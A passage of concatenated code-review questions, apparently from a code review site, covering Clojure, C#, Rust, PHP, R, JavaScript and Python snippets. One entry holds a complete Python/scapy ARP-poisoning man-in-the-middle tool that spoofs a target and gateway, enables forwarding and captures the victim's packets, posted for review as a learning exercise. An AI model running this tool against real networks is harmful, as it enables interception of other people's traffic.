        , @"   ///**\\\"
        , @"  ////**\\\\"
        , @" /////**\\\\\"
    };

    private List<string> BoosterParts = new List<string>
    {
          @"    //**\\"
        , @"   ///**\\\"
        , @"  ////**\\\\"
        , @" /////**\\\\\"
    };
    /// <summary>
    /// Creates a Generic Rocket with 2 Fuselage Sections.
    /// </summary>
    public VerticalRocket()
    {
        rocket(FuselageSections);
    }
    /// <summary>
    /// creates a rocket with specified number of Fuselage sections
    /// </summary>
    /// <param name="sections">Number of Fuselage Sections Desired</param>
    public VerticalRocket(int sections)
    {
        FuselageSections = sections;
        rocket(FuselageSections);
    }

    public List<string> Fuselage(bool diamondShape)
    {
        List<string> fuselage = new List<string>();

        if (diamondShape)
        {
            foreach (string line in upDesigns)
            {
                fuselage.Add(line);
            }
            foreach (string line in downDesigns)
            {
                fuselage.Add(line);
            }
        }
        else
        {
            foreach (string line in downDesigns)
            {
                fuselage.Add(line);
            }
            foreach (string line in upDesigns)
            {
                fuselage.Add(line);
            }
        }
        return fuselage;
    }

    public List<string> Nose()
    {
        List<string> nose = new List<string>();
        foreach (string line in NoseParts)
        {
            nose.Add(line);
        }
        return nose;
    }

    public List<string> Booster()
    {
        List<string> booster = new List<string>();
        foreach (string line in BoosterParts)
        {
            booster.Add(line);
        }
        return booster;
    }

    public void rocket(int sections)
    {
        bool wantDiamond = sections % 2 == 0 ? true : false; //this will keep the X at the bottom

        rocketPartsList.AddRange(Nose());
        rocketPartsList.Add(Divider);
        for (int i = 0; i < sections; i++)
        {
            rocketPartsList.AddRange(Fuselage(wantDiamond));
            wantDiamond = !wantDiamond;
            rocketPartsList.Add(Divider);
        }
        rocketPartsList.AddRange(Booster());
    }

    public override string ToString()
    {
        string output = "";
        foreach (string line in rocketPartsList)
        {
            output += line + Environment.NewLine;
        }
        return output;
    }

}

Note

Up-To-Date code can be found on my Github Repo


texts: Excessive use of let a problem in Clojure?

texts:
I have this set of functions - it works, but I'm concerned about the use of lets.

(defn- create-counts [coll]
  "Computes how many times did each 'next state' come from a 'previous state'.
   The result type is {previous_state {next_state count}}."
  (let [past    coll
        present (rest coll)
        zipped  (map vector past present)
        sorted  (sort zipped)
        grouped (group-by first sorted)
        seconds (map (fn [[key pairs]] [key (map second pairs)]) (seq grouped))
        freqs   (map (fn [[key secs]]  [key (frequencies secs)]) seconds)]
    (into {} freqs)))

I started learning functional programming in Haskell some time ago, and there, because of laziness, it's commonplace to use this equivalent of Clojure let, because what's not needed, isn't ever computed:

asnwer = z
  where
    notused = map (^1000) [1000..10000]
    x = [1..]
    y = take 10 x
    z = map (*2) y

Is it okay to use Clojure let in this way? Look for example at the create-counts fn definition - I use it quite heavily there.
Would it be better to just put it all inside one expression?
What's the best practice for this?

I like how everything's named, but I don't know if there's not a performance penalty hidden somewhere.

When I try to match the Haskell example with Clojure code, it seems there's eager evaluation:

(let [notused (do (Thread/sleep (rand 10000000)) :done)
      x       (iterate inc 1)
      y       (take 10 x)
      z       (map #(* 2 %) y)]
  z)

;=> sleeps till the judgement day

I could imagine preventing this with futures or some clever let-like macro, but really it seems to me that I'm trying to do something Haskell-y (lazy) in Clojure. What's the idiomatic way?


texts:
Some days ago I've written JavaScript bot for reddit. All it does is replacing not well-formatted gfycat URLs. I would love to hear feedback about this code!

const chalk = require('chalk')
const Snoowrap = require('snoowrap')
const async = require('async')

console.log(chalk.cyan.bold('GfycatDetailsConvert is booting up...'))

let lastChecked

require('dotenv').config()

if (typeof process.env.REDDIT_USERAGENT === 'undefined') {
  throw new Error('Please fill your .env file. For more information, go here: https://github.com/ImJustToNy/GfycatDetailsConvert')
}

const r = new Snoowrap({
  userAgent: process.env.REDDIT_USERAGENT,
  clientId: process.env.REDDIT_CLIENTID,
  clientSecret: process.env.REDDIT_CLIENTSECRET,
  username: process.env.REDDIT_USERNAME,
  password: process.env.REDDIT_PASSWORD
})

r.config({
  requestDelay: 2000,
  continueAfterRatelimitError: true,
  maxRetryAttempts: 5,
  debug: process.env.NODE_ENV != 'production'
})

setInterval(() => {
  r.getNew('all', {
    before: lastChecked,
    show: 'all',
    amount: 1000
  }).then(posts => {
    if (posts.length > 0) {
      lastChecked = posts[0].name

      async.every(posts, (post, callback) => {
        if (post.domain === 'gfycat.com' && /(\/[a-z][a-z])?\/gifs\/detail/g.test(post.url)) {
          post.fetch().comments.map(comment => comment.author.name).then(participants => {
            callback(null, true)
            if (!participants.includes(process.env.REDDIT_USERNAME)) {
              console.log(chalk.red(chalk.bold('Found new post: ') + post.title + ' [/r/' + post.subreddit.display_name + ']'))

              post.reply('[Proper Gfycat URL](' + post.url.replace(/(\/[a-z][a-z])?\/gifs\/detail/g, '') + ') \n\n' + '^^I\'m ^^just ^^a ^^bot, ^^bleep, ^^bloop. [^^[Why?]](https://gist.github.com/ImJustToNy/cb3457e36f22123eb93864f0af639da3) [^^[Source ^^code]](https://github.com/ImJustToNy/GfycatDetailsConvert)')
            }
          })
        }
      })
    }
  })
}, 5000)


texts: How to make this ASP.NET MVC ViewModel population query efficient?

texts:
I managed to put together following code to correctly Populate RequestExecutionViewModel model,however this looks extremely verbose to me. I feel some sort of LINQ builtin mapping construct can be used to reduce the over all code size. Please suggest improvements.

string userName = User.Identity.Name;
List<Requests> requests = db.Requests.Where(a => a.UserName.
                          Equals(userName)).ToList();
List<RequestExecutionViewModel> items = new List<RequestExecutionViewModel>();
foreach (Requests request in requests)
{
  RequestExecutionViewModel requestview = new RequestExecutionViewModel();
  requestview.Request = request;
  requestview.ExecutionStatus = db.ExecutionStatus.Where(a =>    a.RequestId.Equals(request.RequestsId)).ToList();
  requestview.Approvals = db.Approvals.Where(a =>  a.RulesId.Equals(request.RulesId)).ToList();
  items.Add(requestview);
}

Edit: With the help of jessehouwing answer I restructured my models and removed the need for RequestExecutionViewModel entirely. Now my query is simplified to this.

var requests = db.Requests.Include(r => r.Rule);


texts: Is this how an MVC controller supposed to be?

texts:
This is the controller I created for my MVC framework, and I think I finally got it right.

Anything I can do to make the code more efficient?

Is this how a MVC controller is supposed to look like?

abstract class Controller
{
    protected $requestHandler;

    public function __construct(RequestHandler $rh, $action)
    {
        $this->requestHandler = $rh;

        $this->$action();
    }

    protected abstract function index();
}

class SignUpController extends Controller
{
    protected function index()
    {
        $headerData = array(
            'title' => 'Sign up',
            'stylesheets' => ['/stylesheets/signup.css'],
            'scripts' => array(
                '//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js',
                '/javascripts/misc.js'
            )
        );

        View::render('Header', $headerData);

        if ($this->requestHandler->getMethod() === 'POST') {
            $v = new Validator();

            $v->addRule(1, ['required', 'max' => 35]);
            $v->addRule(2, ['required', 'between' => [5, 255], 'email']);
            $v->addRule(3, ['required', 'min' => 6]);
            $v->addRule(4, ['required']);

            $firstname    = $v->validate(1, (isset($_POST['firstname']))    ? trim($_POST['firstname'])    : false);
            $lastname     = $v->validate(1, (isset($_POST['lastname']))     ? trim($_POST['lastname'])     : false);
            $email        = $v->validate(2, (isset($_POST['email']))        ? trim($_POST['email'])        : false);
            $emailConfirm = $v->validate(2, (isset($_POST['emailConfirm'])) ? trim($_POST['emailConfirm']) : false);
            $password     = $v->validate(3, (isset($_POST['password']))     ?      $_POST['password']      : false);
            $terms        = $v->validate(4,  isset($_POST['terms']));

            if ($emailConfirm === true && trim($_POST['email']) !== trim($_POST['emailConfirm'])) {
                $emailConfirm = $v->setError('match');
            }

            if (!$v->errors()) {
                //user sign up logic here

                View::render('SignUpSuccess', ['email' => trim($_POST['email'])]);
            } else {
                $signUpData = array(
                    'firstname'    => $firstname,
                    'fnVal'        => (isset($_POST['firstname'])) ? $_POST['firstname'] : false,
                    'lastname'     => $lastname,
                    'lnVal'        => (isset($_POST['lastname'])) ? $_POST['lastname'] : false,
                    'email'        => $email,
                    'emVal'        => (isset($_POST['email'])) ? $_POST['email'] : false,
                    'emailConfirm' => $emailConfirm,
                    'emConfVal'    => (isset($_POST['emailConfirm'])) ? $_POST['emailConfirm'] : false,
                    'password'     => $password,
                    'pwVal'        => (isset($_POST['password'])) ? $_POST['password'] : false,
                    'terms'        => $terms,
                    'termsVal'     => isset($_POST['terms'])
                );

                View::render('SignUp', $signUpData);
            }
        } else {
            View::render('SignUp');
        }

        View::render('Footer');
    }
}


texts:
I have a few objectives (which are working fine, but I want tips in case I can improve it).

Let me try to make this as clear as possible, as this is a much larger project:

There are three move categories:

Hammer (10 damage)
Scythe (5 damage)
Meditate (0 damage)

I will be having hundreds of additions, but these values above are static indefinitely. I'm trying to update a total damage count, but the kicker is that the player can change this move type in the middle of adding other things.

Essentially, I need it to display an accurate estimated damage count based on other values that will end up occurring (this is entirely GUI based, I have the back-end data working).

HTML:

<input type="radio" value="hammer" class="hammer" data-damage="10" name="attackTypeP1" />
Hammer (10)
<input type="radio" value="scythe" class="scythe" data-damage="5" name="attackTypeP1" />
Scythe (5)
<input type="radio" value="meditate" class="meditate" data-damage="0" name="attackTypeP1" />
Meditate (0)

<input type="button" id="addDmg" value="Add Damage" />
<input type="button" id="remDmg" value="Remove Damage" />

Total

0

JS:

$(function() {
    var dom = $('#total');
    var total = 0;
    var moveVal = 0;
    $('#addDmg').on('click', function() {
        total += 1;
        dom.text(total + moveVal);
    });
    $('#remDmg').on('click', function() {
        total -= 1;
        dom.text(total + moveVal);
    });
    $(':radio').on('click', function() {
        moveVal = $(this).data('damage');
        dom.text(total + moveVal);
    });
});

3 questions:

I'm using data-attr via HTML to find the values. I understand it would be quicker to run this in an array or something, but if it has to traverse the DOM anyway to find out which one was selected, is there any real performance upgrade opposed to using data in HTML?
If these are the only radio buttons on the page, is the way I've built my :radio click function reasonable? Welcoming any tips you could provide if somebody else has advice to make this faster.
Is using a variable for moveVal pretty much the only way to tackle this without adding all the other additions and whatnot EVERY time?

Maybe this will make more sense if I show a full demo?

Play: Js Fiddle: http://jsfiddle.net/epZzP/


texts: Reading lines from a file in random order

texts:
I originally wrote this as an answer to a question on Stack Overflow, but it turned out so nicely that I decided to post it here to see if I can make it even better.

(defn char-seq
  "Returns a lazy sequence of characters from rdr. rdr must implement
  java.io.Reader."
  [rdr]
  (let [c (.read rdr)]
    (if-not (neg? c)
      (cons (char c) (lazy-seq (char-seq rdr))))))

(defn line-offsets
  "Returns a lazy sequence of offsets of all lines in s."
  [s]
  (if (seq s)
    (->> (partition-all 3 1 s)
         (map-indexed
          (fn [i [a b c]]
            (cond
              (= b \newline) (if c (+ 2 i))
              (= a \return) (if b (inc i)))))
         (filter identity)
         (cons 0))))

(defn ordered-line-seq
  "Returns the lines of text from raf at each offset in offsets as a lazy
  sequence of strings. raf must implement java.io.RandomAccessFile."
  [raf offsets]
  (map (fn [i]
         (.seek raf i)
         (.readLine raf))
       offsets))

Example usage:

(let [filename "data.txt"
      offsets (with-open [rdr (clojure.java.io/reader filename)]
                (shuffle (line-offsets (char-seq rdr))))]
  (with-open [raf (java.io.RandomAccessFile. filename "r")]
    (run! println (ordered-line-seq raf offsets))))

I'm interested in any way to improve this code, but here are some specific things I'm looking for:

Since RandomAccessFile obviously uses byte offsets, and line-offsets returns character offsets, this code won't work for Unicode files. Is there a way to fix that problem without adding a lot of complexity?
Are a, b, and c good names for the parameters of the anonymous function in line-offsets?
What exactly are the guidelines for parameter ordering in named functions like ordered-line-seq?


texts: Navigating around ul li and looking for the active state on the current slide

texts:
How can I rewrite this in a simpler way?

$imageContainer = $($(this).parent().children()[0]).children()
currentIdx = 0
for e, idx in $imageContainer
  if e.className.indexOf('active')
    currentIdx = idx
    break


texts: Optimizing code for Project-Euler Problem #23

texts:
I'm working on Project Euler's problem #23, which is

  Find the sum of all the positive integers which cannot be written as the sum of two abundant numbers

I came up with this algorithm. Find all abundant numbers under 28123 (defined Numeric#abundant?), this is slow and could be faster if skipped primes, but is fairly fast (less than 4 secs):

abundant_numbers = (12..28123).select(&:abundant?)

Find all numbers that can be expressed as the sum of 2 perfect numbers:

inverse_set = abundant_numbers.each.with_index.inject([]) do |a,(n,index)|
  a.concat(
    abundant_numbers[index..abundant_numbers.size-1]
    .take_while { |i| (n+i) <= 28123 }.map { |i| n+i }
  )
end.to_set

The rest them from all the integers under 28123 and sum them all:

solution_set = (1..28123).set - inverse_set
solution_set.reduce(:+)

Benchmarked:

▸ time ruby 0023.rb
real  0m20.036s
user  0m19.593s
 sys  0m0.352s
▸ rvm use 2.0.0
▸ time ruby 0023.rb
Solution: 4*****1

real  0m7.478s
user  0m7.348s
 sys  0m0.108s

It works, but it's a little bit slow, takes about 20secs to solve, and I hear people around saying it can be solved within miliseconds. I'm sure many of you will have a quick insight on what have I missed.


texts: Intersection of Array Question, limited only to methods

texts:
Problem: Find the intersection of two Object arrays without creating any new classes (no anonymous classes either) and without using any native Java classes in the solution (so no ArrayList  implementations etc., but Object can be used)

My solution:

public Object[] handleArrayIntersection(Object[] array1, Object[] array2) {
    if(array1.length == 0 || array2.length == 0){
        return new Object[0];
    }
    // the maximum possible number of intersections is the smaller array's size
    int maxPossibleLength = array1.length < array2.length ? array1.length : array2.length;
    Object[] intersectionValues = new Object[maxPossibleLength];
    int itemCount = 0;
    for(int i = 0; i < array1.length; i++){
        Object arr1Val = array1[i];
        if(contains(array2, arr1Val) && !contains(intersectionValues, arr1Val)){
            intersectionValues[itemCount] = arr1Val;
            itemCount++;
        }
    }

    // reduce the array down to only contain the intersections
    Object[] intersection = new Object[itemCount];
    for(int i = 0; i < itemCount; i++){
        intersection[i] = intersectionValues[i];
    }
    return intersection;
}

public boolean contains(Object[] newArr, Object arr1Val) {
        boolean contains = false;
        for(int i = 0; i < newArr.length; i++){
            Object val = newArr[i];
            if((val == null && arr1Val == null) || (val != null && val.equals(arr1Val))){
                contains = true;
                break;
            }
        }
        return contains;
}

I haven't tried to solve this type of problem for awhile and I am really curious what people  think of this solution in terms of efficiency, robustness and readability. I arrived at this solution by using TDD (Test Driven Development), but I'm not including the test because I'm more interested in people reviewing the solution.


texts:
I'm using a Telit GE864-GPS modem, which runs a dialect of Python 1.5.2. The Python module has access to the modem using a buffered UART, which may still be receiving when reading starts. The following code makes sure the entire response is read, and return either the response body or '0' on timeout.

def receiveReponse ( ):

    # MOD.secCounter() provides the current time in seconds
    timeout = MOD.secCounter() + 10

    str = ""
    length = ""
    newlinepos = 0

    while ( MOD.secCounter() < timeout ):

        newlinepos = str.find("\n\r")

        if ( (newlinepos != -1) and not length ):

            newlinepos = newlinepos + 2
            pos = str.find("Content-Length:") + 15

            while ( str[pos] != '\n' ):
                length = "%s%s" % (length, str[pos])
                pos = pos + 1

            length = int(length) + newlinepos

        else:
            MOD.sleep(5)

            # MDM receive reads the current UART buffer
            str = str + MDM.receive(1)

        if ( length and len(str) >= length ):
            return str[newlinepos:(newlinepos+length)]

    return 0

The entire procedure seems rather overcomplicated. Am I missing some obvious simplifications?


texts: Be the Man in the middle, and (ARP) Poison your network

texts:
Whilst learning from a Python Networking book, I've made this tool to perform a Man in the Middle attack by ARP-Spoofing  on a Network. I think this has been done plenty before.

from scapy.all import *
import os
import sys
import threading
import signal

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Rstore targets and gateway"s ip to correct ARP"""
    send(ARP(op=2, psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
    send(ARP(op=2, psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))
    os.kill(os.getpid(), signal.SIGINT)

def get_mac(ip):
    """Return a MAC address bound to an IP address."""
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),timeout=2,retry=10)
    for s,r in responses:
        return r[Ether].src

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Start ARP poisoning for a specified target and gateway."""
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(1)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    print("[*] Attack finished")

def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print ("""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
""").strip()
        sys.exit(1)

    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0

    print("[*] setting up %s" % interface)

    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print ("[!] Failed to get gateway")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[!] Failed to get target")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (target_ip, target_mac))

    poison_thread = threading.Thread(
        target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
    poison_thread.start()

    try:
        print("[*] Starting sniffer for %d packets" % (packet_count))
        bpf_filter = "IP host %s" % (target_ip)
        packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)
        wrpcap("arper.pcap", packets)
    except KeyboardInterrupt:
        pass
    finally:
        restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
        print("[*] Finished capturing packets")

if __name__ == "__main__":
    main()

Some of concerns were with the heredoc string which looks ugly.
I was wondering how my style of approaching this was any good.
Just curious about a code-review overall.
Code is intended for both Python 2 and Python 3.


texts: Elegant wp-query markup for repetitive post-type category loops

texts:
For WordPress sites, I always end up building custom post types. They usually have categories, but I don't use much of the 'archive' abilities. This site, for example, is for a film director and so it has "project" resources and then have the standard 'category' taxonomy. I find myself copying and pasting this code in blocks to list each category.

It seems like there are 2 ways to go with PHP. You can keep the markup clear and work the PHP into it, or stay mostly in PHP land and echo markup. I think PHP is a fine language - but simply the syntax has lead me to JS frameworks in its place:

{{#each things as |thing|}}

{{thing.name}}

{{/each}}

Regarding custom fields, I am far more accustomed to ACF vs CMB2, but recently worked on a project with CMB2 and I kinda saw some light in creating the template with more PHP... but both ways still seem less than awesome.

Here's the block of code I find myself using the most. I do it so much that I have a version with xxxxx where project is - that I use to just find and replace with the resource name.

The markup isn't always exactly the same - so I paste it rather than build a function that just takes 1 parameter of resource - but I could have conditionals

What say you - brave code reviewers? How can I up my game with this? Simplify? Change my view-point? Just relax? build a function? Best practices?

Should I be using some archive template for repeating post-type categories instead?

  <?php
  // =========================================
  // Define the rules/arguments
  $project_args = array(
    'post_type' => 'project',
    'showposts' => '-1',
    'category_name' => 'documentary',
  );

  // The Query
  $project_query = new WP_Query($project_args);

  // The Loop
  if ( $project_query->have_posts() ) { ?>

Documentary

    <?php
      while ( $project_query->have_posts() ) {
        $project_query->the_post();

        $image = get_field('project_poster');
    ?>

            <a class='link' href='<?php the_permalink(); ?>'>

                <?php
                  if ( $image ) {
                    $poster = $image['sizes']['medium'];
                  } else {
                    $poster = 'https://placehold.it/1600x900';
                  }
                ?>
                <img src='<?php echo $poster; ?>' alt='<?php echo get_the_title(); ?> poster image' />

<?php the_field("project_title"); ?>

        <?php } ?>

  <?php } else { ?>

    <?php // what happens if there are no posts? ?>

  <? } ?>

  <?php wp_reset_postdata(); /* restore original post data */ ?>

<?php // repeat many blocks like the 'section' above ?>


texts:
I am trying to learn Rust and I feel like a dummy every step of the way.

I went through the tutorial on making lists in Rust. I am trying to apply the knowledge to implement a simple BST.

The code looks pretty horrible though. Any suggestions on how it can be improved?

pub struct Tree<T: Ord> {
    root: Link<T>,
}

type Link<T> = Option<Box<Node<T>>>;

pub struct Node<T:Ord> {
    elem: T,
    left: Link<T>,
    right: Link<T>
}

impl<T: Ord> Tree<T> {
    pub fn new() -> Self {
        Tree {root: None}
    }

    pub fn add(&mut self, elem: T) {
        let mut current;
        match self.root {
            None => {
                self.root = Some(Box::new(Node{elem: elem, left: None, right: None}));
                return;
            },
            Some(_) => {
                current = self.root.as_mut();
            }
        }
        loop {
            if elem < current.as_ref().unwrap().elem {
                if current.as_ref().unwrap().left.is_none() {
                    current.unwrap().left = Some(Box::new(Node{elem: elem, left: None, right: None}));
                    break;
                } else {
                    current = current.unwrap().left.as_mut();
                }
            } else {
                if current.as_ref().unwrap().right.is_none() {
                    current.unwrap().right = Some(Box::new(Node{elem: elem, left: None, right: None}));
                    break;
                } else {
                    current = current.unwrap().right.as_mut();
                }
            }
        }
    }
}

#[cfg(test)]
mod test {
    use super:: Tree;

    #[test]
    fn basics() {
        let mut tree = Tree::new();
        tree.add(5);
        tree.add(3);
        tree.add(2);
        tree.add(4);

        assert_eq!(tree.root.as_ref().unwrap().elem, 5);
        assert_eq!(tree.root.as_ref().unwrap().left.as_ref().unwrap().elem, 3);
        assert_eq!(tree.root.as_ref().unwrap().left.as_ref().unwrap().left.as_ref().unwrap().elem, 2);
        assert_eq!(tree.root.as_ref().unwrap().left.as_ref().unwrap().right.as_ref().unwrap().elem, 4);
    }
}


texts: Predicate testing for equality that returns the common element

texts:
I'm going to try brute-forcing the solving of a Magic Square. To simplify the code later on, I wanted a function similar to =, but one that returns the common element if all the elements are equal and nil otherwise. This is unlike = which always returns either true or false. I'm calling it =? for lack of a better name.

Example:

(=? 1 2 1)
nil ; nil because they're not all the same

(=? 1 1 1)
1 ; Returns the common element of 1

Obviously, this function won't work well when nil may be the sole element in a collection, since it will return falsey even if all the elements are the same, but nil.

I thought that there must be some kind of core operation I could use here, but after a few minutes of thinking, I couldn't think of any. I ended up rolling my own function using loop. I'd like general advice on the function that I wrote, or potentially a more idiomatic way to write it that I'm missing. It looks exceedingly clunky to me; especially after I realized the need for the last-arg accumulator. A recursive solution would be nice, as I fear I'm missing something obvious here:

(defn =?
  "Checks if every supplied argument =s every other.
  Returns the common element if they're all the same, nil otherwise."
  [& args]
  (loop [[f-arg & r-args] (rest args)
         last-arg (first args)]
    (cond
      (nil? f-arg) last-arg
      (= f-arg last-arg) (recur r-args f-arg)
      :else nil)))


texts: Design a main function which determines which secondary function to be used

texts:
I am writing an R package. The package consists of a main function and lots of auxiliary functions that perform different calculations.

The main function

The idea behind the package is to make the user use only the main function and through it select which auxiliary function to use. This would imply that only the main function is exported while the auxiliary functions are not.
This is the way I am currently implementing the main function:

#' Main function
#' @export
#'
#' Current solution. Note that the parameter fun is a character
main_function <- function(fun,a,b){
    if (fun == "square"){square(a,b)}
    else if (fun == "cube") {cube(a,b)}
    else {stop("Function not found")}
}

Auxiliary functions

Auxiliary functions take all the same two parameters.

## Auxiliary functions (not to be exported, to be used only by the main function: the user should not access these functions)
square <- function(a,b){a^2+b}
cube <- function(a,b){a^3+b}

This is how I am currently solving this problem, it works fine, however I have the feeling there must be a better way or some sort of "best practice" for such cases. Is there not? Perhaps using substitute of lazyeval. Sadly I couldn't use either. I would like to avoid using a character as an argument in the main function and perhaps use the full name of the function such as main_function(f1,2,3). Could you please hint me in other possible directions? I would like for this code to be as close as possible to the best practices involved in creating an R package.


texts:
I have returned to programming after a year without practice and this is also my first time using Java. I know there is a more efficient way to do this so any suggestions would be appreciated.

I am trying to distribute stats randomly to a character in my game. However, I can't just go through each stat and increase/decrease each one randomly. I need the total increases to be equal to the total decreases. So if one stat goes up 5%, another will need to decrease 5% to compensate.

Egg make_egg(){

float newgr = growth_rate;
float newms = maxSpeed;
int newsf = starve_frames;
int newls = lifespan;

ArrayList<Integer> stats = new ArrayList<Integer>();
stats.add(0);
stats.add(1);
stats.add(2);
stats.add(3);

float percentage = 0;
int roll_stat = 0;
while(stats.size() > 1){
  percentage = random(0,1);
  //get the value of a random element in the arraylist
  roll_stat = stats.get(round(random(0, stats.size()-1)));
  //remove(int) is ambiguous for an ArrayList<Integer>
  //am I doing this right?
  stats.remove(Integer.valueOf(roll_stat));

  //--------------LOSSES-------------//
  if(roll_stat == 0){           //gr
      newgr -= percentage*growth_rate_delta;
      if(newgr <= minimum_growth_rate){
        newgr = minimum_growth_rate;
      }
  }
  else if(roll_stat == 1){      //ms
      newms -= percentage*maxspeed_delta;
      if(newms <= minimum_maxspeed){
        newms = minimum_maxspeed;
      }
  }
  else if(roll_stat == 2){      //sf
     newsf -= round(percentage*starve_frames_delta);
     if(newsf <= starve_frames_minimum){
        newsf = starve_frames_minimum;
      }
  }
  else if(roll_stat == 3){      //ls
     newls -= round(percentage*lifespan_delta);
     if(newls <= lifespan_minimum){
        newls = lifespan_minimum;
      }
  }

  roll_stat = stats.get(round(random(0, stats.size()-1)));
  stats.remove(Integer.valueOf(roll_stat));

  //--------------GAINS-------------//
  if(roll_stat == 0){            //gr
      newgr += percentage*growth_rate_delta;
      if(newgr >= maximum_growth_rate){
        newgr = maximum_growth_rate;
      }
  }
  else if(roll_stat == 1){      //ms
      newms += percentage*maxspeed_delta;
      if(newms >= maximum_maxspeed){
        newms = maximum_maxspeed;
      }
  }
  else if(roll_stat == 2){      //sf
     newsf += round(percentage*starve_frames);
     if(newsf >= starve_frames_maximum){
        newsf = starve_frames_maximum;
      }
  }
  else if(roll_stat == 3){      //ls
     newls += round(percentage*lifespan_delta);
     if(newls >= lifespan_maximum){
        newls = lifespan_maximum;
      }
  }

}

return new Egg(x, y, newgr, newms, newsf, newls, generation + 1);
}

I know this will not work if there are an odd number of stats, but I can deal with that later. One other problem this has is that two stats will always decrease and two stats will always increase. However, the ideal effect would be if, for example, one stat could increase by 9%, and the other three stats could decrease by 5, 3, and 1% each.


texts:
I have this code which migrates HTML elements to the word chunks by bracketing each element. Here, chunks is the list of word chunks to be processed and dom is to access the given HTML source. This returns a list of processed word chunks.

Could you suggest any improvements to this :

def _migrate_html(self, chunks, dom):
    elements = self._get_elements_list(dom)
    for element in elements:
      result = []
      index = 0
      concat_chunks = []
      for chunk in chunks:
        if (index + len(chunk.word) <= element.index or
            element.index + len(element.text) <= index):
          result.append(chunk)
        elif (index <= element.index and
              element.index + len(element.text) <= index + len(chunk.word)):
          result.append(Chunk(
              chunk.word.replace(element.text, element.source),
              HTML_POS, HTML_POS, True))
        elif (index < element.index + len(element.text) and
              element.index + len(element.text) <= index + len(chunk.word)):
          concat_chunks.append(chunk)
          new_word = u''.join([c_chunk.word for c_chunk in concat_chunks])
          new_word = new_word.replace(element.text, element.source)
          result.append(Chunk(new_word, HTML_POS, HTML_POS, True))
          concat_chunks = []
        else:
          concat_chunks.append(chunk)
        index += len(chunk.word)
      chunks = result
    return chunks


texts:
I am trying to design XML with configuration info so I can parse it into this code:

...
services.Configure<IdentityOptions>(options =>
{
    // Password settings
    options.Password.RequireDigit = true;
    options.Password.RequiredLength = 8;
    options.Password.RequireNonAlphanumeric = false;
    options.Password.RequireUppercase = true;
    options.Password.RequireLowercase = false;
    options.Password.RequiredUniqueChars = 6;
});
...

I have already 4 versions of the XML code, but I don't know which one to choose:

<identity>
    <!-- version 1 -->
    <password>
        <RequireDigit>true</RequireDigit>
        <RequiredLength>8</RequiredLength>
        <RequireNonAlphanumeric>false</RequireNonAlphanumeric>
        <RequireUppercase>true</RequireUppercase>
        <RequireLowercase>false</RequireLowercase>
        <RequiredUniqueChars>6</RequiredUniqueChars>
    </password>
    <!-- version 2 -->
    <password   RequireDigit="true"
                RequiredLength="8"
                RequireNonAlphanumeric="false"
                RequireUppercase="true"
                RequireLowercase="false"
                RequiredUniqueChars="6"
    />
    <!-- version 3 -->
    <password>
        <RequireDigit value="true"/>
        <RequiredLength value="8"/>
        <RequireNonAlphanumeric value="false"/>
        <RequireUppercase value="true"/>
        <RequireLowercase value="false"/>
        <RequiredUniqueChars value="6"/>
    </password>
    <!-- version 4 -->
    <password>
        <RequireDigit/>
        <RequiredLength value="8"/>
        <RequireUppercase/>
        <RequiredUniqueChars value="6"/>
    </password>
</identity>

Are there any rules when to choose which one?
Or how to decide which is the best or the most suitable?


texts:
This is a pretty big undertaking for me with my basic skills, and I was kind of flying blind. It's basic in its intent: get a bunch of case info from a helpdesk app and put it into a database. There are >10k records, so I had to overcome some pagination challenges. It works, and I would love your opinions regarding best practices or making it more pythonic.

import time
import collections
from desk_auth import BASE_URL, service, session
import MySQLdb
import mysql.connector
from mysql.connector import errorcode
from db_info import uname,pw,host,db
import dateutil.parser

PAGER = 100

   def get_all_cases():
        """
    pages through items,
    returns a dict of dicts of case, cust, date
    #cases[case] = {cust:date}
    """
        i = 1
        all_cases = []
        is_next = ""

        while is_next is not None:
            endpoint_url = '/api/v2/cases/search'
            endpoint = ''.join([BASE_URL, endpoint_url])
            query_params = {
                'page':i,
                'per_page': PAGER,
                'status': 'new,open,pending', #,resolved,closed',
                'fields': 'created_at,status,labels,subject,updated_at'
                }
            response = session.get(endpoint, params=query_params)
            items = response.json()
            data = items['_embedded']['entries']
            is_next = items['_links']['next']
            for item in data:
                #case id, customer id
                case = get_clean_id(item['_links']['self']['href'])
                cust = get_clean_id(item['_links']['customer']['href'])

                #create date
                raw_date = item['created_at']
                p = dateutil.parser.parse(raw_date)
                date = '%s-%s-%s %s:%s:%s' % (p.year, p.month, p.day, p.hour, p.minute, '00')

                #last update
                raw_update = item['updated_at']
                l = dateutil.parser.parse(raw_update)
                last_update = '%s-%s-%s %s:%s:%s' % (l.year, l.month, l.day, l.hour, l.minute, '00')

                #subject, status
                subj = item['subject']
                status = item['status']

                #get plan from labels
                plan = get_plan(item['labels'])

                #get group id or set to 0
                if item['_links']['assigned_group'] is not None:
